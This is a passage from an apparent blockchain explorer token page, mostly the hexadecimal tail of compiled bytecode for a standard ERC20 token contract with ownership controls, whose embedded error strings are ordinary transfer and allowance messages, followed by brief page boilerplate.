55505b5b505050565b828054612bc79061346e565b90600052602060002090601f016020900481019282612be95760008555612c30565b82601f10612c0257805160ff1916838001178555612c30565b82800160010185558215612c30579182015b82811115612c2f578251825591602001919060010190612c14565b5b509050612c3d9190612c41565b5090565b5b80821115612c5a576000816000905550600101612c42565b5090565b6000612c71612c6c84613290565b61326b565b905082815260208101848484011115612c8d57612c8c6135c3565b5b612c9884828561342c565b509392505050565b600081359050612caf81613838565b92915050565b600082601f830112612cca57612cc96135be565b5b8135612cda848260208601612c5e565b91505092915050565b600081359050612cf28161384f565b92915050565b600081519050612d078161384f565b92915050565b600060208284031215612d2357612d226135cd565b5b6000612d3184828501612ca0565b91505092915050565b60008060408385031215612d5157612d506135cd565b5b6000612d5f85828601612ca0565b9250506020612d7085828601612ca0565b9150509250929050565b600080600060608486031215612d9357612d926135cd565b5b6000612da186828701612ca0565b9350506020612db286828701612ca0565b9250506040612dc386828701612ce3565b9150509250925092565b60008060408385031215612de457612de36135cd565b5b6000612df285828601612ca0565b9250506020612e0385828601612ce3565b9150509250929050565b600080600060608486031215612e2657612e256135cd565b5b600084013567ffffffffffffffff811115612e4457612e436135c8565b5b612e5086828701612cb5565b935050602084013567ffffffffffffffff811115612e7157612e706135c8565b5b612e7d86828701612cb5565b9250506040612e8e86828701612ce3565b9150509250925092565b600060208284031215612eae57612ead6135cd565b5b6000612ebc84828501612cf8565b91505092915050565b612ece816133d7565b82525050565b612edd816133e9565b82525050565b6000612eee826132c1565b612ef881856132d7565b9350612f0881856020860161343b565b80840191505092915050565b6000612f1f826132cc565b612f2981856132e2565b9350612f3981856020860161343b565b612f42816135d2565b840191505092915050565b6000612f5a6023836132e2565b9150612f65826135e3565b604082019050919050565b6000612f7d6026836132e2565b9150612f8882613632565b604082019050919050565b6000612fa06022836132e2565b9150612fab82613681565b604082019050919050565b6000612fc3601d836132e2565b9150612fce826136d0565b602082019050919050565b6000612fe6601f836132e2565b9150612ff1826136f9565b602082019050919050565b60006130096020836132e2565b915061301482613722565b602082019050919050565b600061302c6025836132e2565b91506130378261374b565b604082019050919050565b600061304f6024836132e2565b915061305a8261379a565b604082019050919050565b60006130726025836132e2565b915061307d826137e9565b604082019050919050565b61309181613415565b82525050565b6130a08161341f565b82525050565b60006130b28284612ee3565b915081905092915050565b60006020820190506130d26000830184612ec5565b92915050565b60006020820190506130ed6000830184612ed4565b92915050565b6000602082019050818103600083015261310d8184612f14565b905092915050565b6000602082019050818103600083015261312e81612f4d565b9050919050565b6000602082019050818103600083015261314e81612f70565b9050919050565b6000602082019050818103600083015261316e81612f93565b9050919050565b6000602082019050818103600083015261318e81612fb6565b9050919050565b600060208201905081810360008301526131ae81612fd9565b9050919050565b600060208201905081810360008301526131ce81612ffc565b9050919050565b600060208201905081810360008301526131ee8161301f565b9050919050565b6000602082019050818103600083015261320e81613042565b9050919050565b6000602082019050818103600083015261322e81613065565b9050919050565b600060208201905061324a6000830184613088565b92915050565b60006020820190506132656000830184613097565b92915050565b6000613275613286565b905061328182826134a0565b919050565b6000604051905090565b600067ffffffffffffffff8211156132ab576132aa61358f565b5b6132b4826135d2565b9050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006132fe82613415565b915061330983613415565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561333e5761333d613502565b5b828201905092915050565b600061335482613415565b915061335f83613415565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561339857613397613502565b5b828202905092915050565b60006133ae82613415565b91506133b983613415565b9250828210156133cc576133cb613502565b5b828203905092915050565b60006133e2826133f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b8381101561345957808201518184015260208101905061343e565b83811115613468576000848401525b50505050565b6000600282049050600182168061348657607f821691505b6020821081141561349a57613499613560565b5b50919050565b6134a9826135d2565b810181811067ffffffffffffffff821117156134c8576134c761358f565b5b80604052505050565b60006134dc82613415565b91506134e783613415565b9250826134f7576134f6613531565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b613841816133d7565b811461384c57600080fd5b50565b61385881613415565b811461386357600080fd5b5056fea264697066735822122036729727ec2405b60cd15c68ec8285ffa9a6c75bb41a56c5e41218cb03094cf364736f6c63430008060033

Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.